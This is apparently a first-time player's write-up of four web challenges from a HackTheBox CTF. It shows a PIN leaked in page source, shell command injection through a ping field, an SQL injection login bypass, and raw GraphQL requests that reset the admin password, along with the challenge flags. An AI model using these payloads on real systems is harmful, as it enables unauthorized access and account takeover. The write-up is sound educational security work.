---
# System prepended metadata

title: Cyber Apocalypse 2023 - The Cursed Mission

---

# Cyber Apocalypse 2023 - The Cursed Mission

HackTheBox's CTF ==Cyber Apocalypse 2023 - The Cursed Mission== Writeups


I played in [Cyber Apocalypse 2023 - The Cursed Mission](https://ctf.hackthebox.com/event/details/cyber-apocalypse-2023-the-cursed-mission-821) and solved some challenges and learned so much things.  So, i decided to do a writeup for some of the challenges.

- Web - Trapped Source
- Web - Gunhead
- Web - Drobots
- Web - Passman

## Web - Trapped Source

> Intergalactic Ministry of Spies tested Pandora's movement and intelligence abilities. She found herself locked in a room with no apparent means of escape. Her task was to unlock the door and make her way out. Can you help her in opening the door?

The web page look like this:
![Trapped_Source_1](https://i.imgur.com/rR8grlr.png)

We can put 4 digits numbers and can submit it. If our input pin number is wrong, it return `INVALID!` animation. 

We can look the source:
![Trapped_Source_2](https://i.imgur.com/9qEeiNI.png)

And we can see the `correctPin` variable which contain correct pin to enter.

We can enter the pin `8291` and get flag.
![Trapped_Source_3](https://i.imgur.com/4MAQ2nx.png)


`HTB{V13w_50urc3_c4n_b3_u53ful!!!}`

## Web - Gunhead

> During Pandora's training, the Gunhead AI combat robot had been tampered with and was now malfunctioning, causing it to become uncontrollable. With the situation escalating rapidly, Pandora used her hacking skills to infiltrate the managing system of Gunhead and urgently needs to take it down.


In site, we can see three button:

![Gunhead_1](https://i.imgur.com/LL5lDnC.png)

Other two button do nothing special, but `command` button give us shell which we can type in some limited commands.


![Gunhead_2](https://i.imgur.com/EnqhSPO.png)

So, basically inside the shell, we can only use 3 option such as `/clear`, `storage`, `/ping`. 

We have a file of source code for the site. It's Php  a application

I don't wanna go deatil in all files cause most of the files are not interesting (_in another word=not have any vuln_:8ball:)  

In `models/ReconModel.php`:

![Gunhead_3](https://i.imgur.com/ChYRZME.png)


we can see that `$ip` is used inside the `shell_exec` function which is used to execute the commands through the shell. And `$ip` can control by us! 

So, Code injection can be happen in `/ping` command.

When we try to ping the google.com, it works fine and returns the ping back's results:

![Gunhead_4](https://i.imgur.com/PSlp2jb.png)


So, let try code injection now. We can put the `;` at the end of `/ping google.com` to excute another command at the same time.

The following payload will ping the google and at the same time, `ls` command will excuted and reuturns list of files.

```javascript=!
/ping google.com; ls
```

When we tried that payload, it works:

![Gunhead_5](https://i.imgur.com/lwlFpNk.png)

Now, let try to read flag.

```javascript=!
/ping google.com; cd ..; cat flag.txt
```

And we get the flag!

![Gunhead_6](https://i.imgur.com/jcwqQWF.png)


```text!
HTB{4lw4y5_54n1t1z3_u53r_1nput!!!}
```


## Web - Drobots
> Pandora's latest mission as part of her reconnaissance training is to infiltrate the Drobots firm that was suspected of engaging in illegal activities. Can you help pandora with this task?

If we visit the web application in browser, this is what it looks like:

![Drobots_0](https://i.imgur.com/HfPPfZw.png)

It is just a login page that require username and password.

We can look the challenge files. And it's a Python application

First, We have to know where is flag. In `/templates/home.html`, we can see that flag got printed when we can reach the `/home` as shown in the following screenshot.

![Drobots_1](https://i.imgur.com/5lvmkQ5.png)


 
In `/blueprints/routes.py`:

![Drobots_2](https://i.imgur.com/5p1pf2L.png)

we can see 3 web routes and 1 Api route. 3 web routes just returns static pages (__simple things__). The Api route `/login` take our inputted username and password and check them by __`login()`__ function in line __`36`__. 

The `login()` function is imported from `database.py`

![](https://i.imgur.com/VXlOl7s.png)

In `database.py`, `login()` function look like this:

```python=
def login(username, password):
    # We should update our code base and use techniques like parameterization to avoid SQL Injection
    user = query_db(f'SELECT password FROM users WHERE username = "{username}" AND password = "{password}" ', one=True)

    if user:
        token = createJWT(username)
        return token
    else:
        return False


```

In line `3`,  `user` variable have the __sql query__ which is excuted by `query_db()` function which is normal sql query executor 

This following query will select password from users table while username and password is our inputted.
```sql!
SELECT password FROM users WHERE username = "{username}" AND password = "{password}"
```

Since there is no `parameterization ` in query excution, SQL Injection is here. So, To bypass the login, we can do sqli to make the query to be true.

And We can inject `" or 1=1-- -` into password field to make it true:

![Drobots_3](https://i.imgur.com/QjN6RL3.png)


It was Success And in server side, the query will become like this:

```sql!
SELECT password FROM users WHERE username = "admin" AND password = "" or 1=1-- -"
```

We can request the `/home` with session cookie we get, And grab flag.

![Drobots_4](https://i.imgur.com/uXzKaav.png)

`HTB{p4r4m3t3r1z4t10n_1s_1mp0rt4nt!!!}`

## Web - Passman

> Pandora discovered the presence of a mole within the ministry. To proceed with caution, she must obtain the master control password for the ministry, which is stored in a password manager. Can you hack into the password manager?


When we visit the web application, this is what it looks like:

![Passman_1](https://i.imgur.com/3lnA1wR.png)


It have login and register functionality

The is what the register request looks like:

```javascript=
POST /graphql HTTP/1.1
Host: 165.232.98.59:31435
Content-Length: 219
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://165.232.98.59:31435
Referer: http://165.232.98.59:31435/register
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"query":"mutation($email: String!, $username: String!, $password: String!) { RegisterUser(email: $email, username: $username, password: $password) { message } }","variables":{"email":"l","username":"l","password":"l"}}
```

It is requested to `/graphql` endpoint in json format with `query` and `mutation` Type. We know now that this application use the [Graphql](https://graphql.org/). 

When we got to `/dashboard`, we can create a notes with  ➕ Button. We can set `pharse type`, `Address`, `Username`, `Password`, for `Note`.

![Passman_2](https://i.imgur.com/Fe9E5YJ.png)


This is what AddPhrase note adding request look like:

```javascript=
POST /graphql HTTP/1.1
Host: 165.232.98.59:31435
Content-Length: 334
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://165.232.98.59:31435
Referer: http://165.232.98.59:31435/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImwiLCJpc19hZG1pbiI6MCwiaWF0IjoxNjc5NDY1NjU0fQ.7vIqAfH7iL0q1rLGCmx6D0Us8yHUYPzIv737ldmXrpE
Connection: close

{"query":"mutation($recType: String!, $recAddr: String!, $recUser: String!, $recPass: String!, $recNote: String!) { AddPhrase(recType: $recType, recAddr: $recAddr, recUser: $recUser, recPass: $recPass, recNote: $recNote) { message } }","variables":{"recType":"Web","recAddr":"test","recUser":"test","recPass":"test","recNote":"test"}}
```

So, let keep these in mind. Now, we have to know where flag is stored before thinking how to get flag. Right? :hand_with_index_and_middle_fingers_crossed: 

We can see that flag is the password of the admin's note in the following screenshot:

![Passman_3](https://i.imgur.com/VhAzGDh.png)


So, to get the flag, we have to somehow login to admin's account.

While i viewing source code, i noticed that there is one Field called `UpdatePassword` that looks interesting in `Mutation` type. 

_`/helpers/GraphqlHelper.js:`_

```javascript=
UpdatePassword: {
            type: ResponseType,
            args: {
                username: { type: new GraphQLNonNull(GraphQLString) },
                password: { type: new GraphQLNonNull(GraphQLString) }
            },
            resolve: async (root, args, request) => {
                return new Promise((resolve, reject) => {
                    if (!request.user) return reject(new GraphQLError('Authentication required!'));

                    db.updatePassword(args.username, args.password)
                        .then(() => resolve(response("Password updated successfully!")))
                        .catch(err => reject(new GraphQLError(err)));
                });
            }
        },
```

This function is use to update username and password of the database. That seems interesting because this function can be used by anyone and there is no strong restriction here.

So, how about if we can update the admin acc's password to login? Here is the payload for this case:

```javascript=
POST /graphql HTTP/1.1
Host: 165.232.98.59:31435
Content-Length: 185
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://165.232.98.59:31435
Referer: http://165.232.98.59:31435/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImwiLCJpc19hZG1pbiI6MCwiaWF0IjoxNjc5NDY1NjU0fQ.7vIqAfH7iL0q1rLGCmx6D0Us8yHUYPzIv737ldmXrpE
Connection: close

{"query":"mutation($username: String!, $password: String!) { UpdatePassword (username: $username, password: $password) { message } }","variables":{"username":"admin","password":"test"}}
```

In the query we use the `UpdatePassword` function of `mutation` type in `/graphql` endpoint. In `username`, we set admin which we want to change for and we can set `password` to anything we want.

And one note thing is that we have to request with `session` cookie which is defined by application already. And that's not a big deal cause we can use the cookie that we get from register. 

Here is Response:

![Passman_4](https://i.imgur.com/Q1G2nL2.png)


Yay, Password is updated. Now we can login as admin with our changed password!   :collision: 

After login, we can see our flag at the password field of note:

![Passman_5](https://i.imgur.com/f0iunqe.png)


`HTB{1d0r5_4r3_s1mpl3_4nd_1mp4ctful!!}`

## Conclusion 

Overall, This CTF is really fun and gain many knowledges from challenges.

Kudos :i_love_you_hand_sign: > [HackTheBox](https://www.hackthebox.com/) for making this CTF!

btw, this is my first ctf and also this is my first writeup. So, correct me if i was wrong something in challenges :)